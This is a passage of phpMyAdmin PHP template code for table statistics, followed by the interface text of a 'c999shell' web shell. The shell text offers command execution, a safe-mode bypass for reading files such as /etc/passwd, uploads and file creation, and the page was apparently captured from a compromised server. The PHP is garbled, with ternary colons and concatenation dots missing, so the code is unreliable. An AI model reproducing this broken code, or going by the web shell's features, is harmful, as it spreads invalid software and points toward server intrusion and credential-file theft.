    <tr class="<?php echo ($odd_row = !$odd_row) ? 'odd' 'even'?>">
        <th class="name"><?php echo __('Data'); ?></th>
        <td class="value"><?php echo $data_size?></td>
        <td class="unit"><?php echo $data_unit?></td>
    </tr>
        <?php
        
if (isset($index_size)) {
            
?>
    <tr class="<?php echo ($odd_row = !$odd_row) ? 'odd' 'even'?>">
        <th class="name"><?php echo __('Index'); ?></th>
        <td class="value"><?php echo $index_size?></td>
        <td class="unit"><?php echo $index_unit?></td>
    </tr>
            <?php
        
}
        if (isset(
$free_size)) {
            
?>
    <tr class="<?php echo ($odd_row = !$odd_row) ? 'odd' 'even'?> error">
        <th class="name"><?php echo __('Overhead'); ?></th>
        <td class="value"><?php echo $free_size?></td>
        <td class="unit"><?php echo $free_unit?></td>
    </tr>
    <tr class="<?php echo ($odd_row = !$odd_row) ? 'odd' 'even'?>">
        <th class="name"><?php echo __('Effective'); ?></th>
        <td class="value"><?php echo $effect_size?></td>
        <td class="unit"><?php echo $effect_unit?></td>
    </tr>
            <?php
        
}
        if (isset(
$tot_size) && $mergetable == false) {
            
?>
    <tr class="<?php echo ($odd_row = !$odd_row) ? 'odd' 'even'?>">
        <th class="name"><?php echo __('Total'); ?></th>
        <td class="value"><?php echo $tot_size?></td>
        <td class="unit"><?php echo $tot_unit?></td>
    </tr>
            <?php
        
}
        
// Optimize link if overhead
        
if (isset($free_size) && ($tbl_type == 'MYISAM' || $tbl_type == 'ARIA' || $tbl_type == 'MARIA' || $tbl_type == 'BDB')) {
            
?>
    <tr class="tblFooters">
        <td colspan="3" align="center">
            <a href="sql.php?<?php echo $url_query?>&pos=0&amp;sql_query=<?php echo urlencode('OPTIMIZE TABLE ' PMA_backquote($table)); ?>"><?php
            
if ($cfg['PropertiesIconic']) {
               echo 
'<img class="icon" src="' $pmaThemeImage 'b_tbloptimize.png" width="16" height="16" alt="' __('Optimize table'). '" />';
            }
            echo 
__('Optimize table');
            
?></a>
        </td>
    </tr>
            <?php
        
}
        
?>
    </tbody>
    </table>
        <?php
    
}
    
$odd_row false;
    
?>
    <table id="tablerowstats" class="data">
    <caption class="tblHeaders"><?php echo __('Row Statistics'); ?></caption>
    <thead>
    <tr>
        <th><?php echo __('Statements'); ?></th>
        <th><?php echo __('Value'); ?></th>
    </tr>
    </thead>
    <tbody>
    <?php
    
if (isset($showtable['Row_format'])) {
        
?>
    <tr class="<?php echo ($odd_row = !$odd_row) ? 'odd' 'even'?>">
        <th class="name"><?php echo __('Format'); ?></th>
        <td class="value"><?php
        
if ($showtable['Row_format'] == 'Fixed') {
            echo 
__('static');
        } elseif (
$showtable['Row_format'] == 'Dynamic') {
            echo 
__('dynamic');
        } else {
            echo 
$showtable['Row_format'];
        }
        
?></td>
    </tr>
        <?php
    
}
    if (! empty(
$showtable['Create_options'])) {
        
?>
    <tr class="<?php echo ($odd_row = !$odd_row) ? 'odd' 'even'?>">
        <th class="name"><?php echo __('Options'); ?></th>
        <td class="value"><?php
        
if ($showtable['Create_options'] == 'partitioned') {
            echo 
__('partitioned');
        } else {
            echo 
$showtable['Create_options'];
        }
        
?></td>
    </tr>
        <?php
    
}
    if (!empty(
$tbl_collation)) {
        
?>
    <tr class="<?php echo ($odd_row = !$odd_row) ? 'odd' 'even'?>">
        <th class="name"><?php echo __('Collation'); ?></th>
        <td class="value"><?php
            
echo '<dfn title="' PMA_getCollationDescr($tbl_collation) . '">' $tbl_collation '</dfn>';
            
?></td>
    </tr>
        <?php
    
}
    if (!
$is_innodb && isset($showtable['Rows'])) {
        
?>
    <tr class="<?php echo ($odd_row = !$odd_row) ? 'odd' 'even'?>">
        <th class="name"><?php echo __('Rows'); ?></th>
        <td class="value"><?php echo PMA_formatNumber($showtable['Rows'], 0); ?></td>
    </tr>
        <?php
    
}
    if (!
$is_innodb && isset($showtable['Avg_row_length']) && $showtable['Avg_row_length'] > 0) {
        
?>
    <tr class="<?php echo ($odd_row = !$odd_row) ? 'odd' 'even'?>">
        <th class="name"><?php echo __('Row length'); ?> &oslash;</th>
        <td class="value"><?php echo PMA_formatNumber($showtable['Avg_row_length'], 0); ?></td>
    </tr>
        <?php
    
}
    if (!
$is_innodb && isset($showtable['Data_length']) && $showtable['Rows'] > && $mergetable == false) {
        
?>
    <tr class="<?php echo ($odd_row = !$odd_row) ? 'odd' 'even'?>">
        <th class="name"><?php echo __(' Row size '); ?> &oslash;</th>
        <td class="value"><?php echo $avg_size ' ' $avg_unit?></td>
    </tr>
        <?php
    
}
    if (isset(
$showtable['Auto_increment'])) {
        
?>
    <tr class="<?php echo ($odd_row = !$odd_row) ? 'odd' 'even'?>">
        <th class="name"><?php echo __('Next'); ?> Autoindex</th>
        <td class="value"><?php echo PMA_formatNumber($showtable['Auto_increment'], 0); ?></td>
    </tr>
        <?php
    
}
    if (isset(
$showtable['Create_time'])) {
        
?>
    <tr class="<?php echo ($odd_row = !$odd_row) ? 'odd' 'even'?>">
        <th class="name"><?php echo __('Creation'); ?></th>
        <td class="value"><?php echo PMA_localisedDate(strtotime($showtable['Create_time'])); ?></td>
    </tr>
        <?php
    
}
    if (isset(
$showtable['Update_time'])) {
        
?>
    <tr class="<?php echo ($odd_row = !$odd_row) ? 'odd' 'even'?>">
        <th class="name"><?php echo __('Last update'); ?></th>
        <td class="value"><?php echo PMA_localisedDate(strtotime($showtable['Update_time'])); ?></td>
    </tr>
        <?php
    
}
    if (isset(
$showtable['Check_time'])) {
        
?>
    <tr class="<?php echo ($odd_row = !$odd_row) ? 'odd' 'even'?>">
        <th class="name"><?php echo __('Last check'); ?></th>
        <td class="value"><?php echo PMA_localisedDate(strtotime($showtable['Check_time'])); ?></td>
    </tr>
        <?php
    
}
    
?>
    </tbody>
    </table>

    <!-- close slider div -->
    </div>

    <?php
}
// END - Calc Table Space

require './libraries/tbl_triggers.lib.php';

echo 
'<div class="clearfloat"></div>' "\n";

/**
 * Displays the footer
 */
require './libraries/footer.inc.php';
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0238 ]--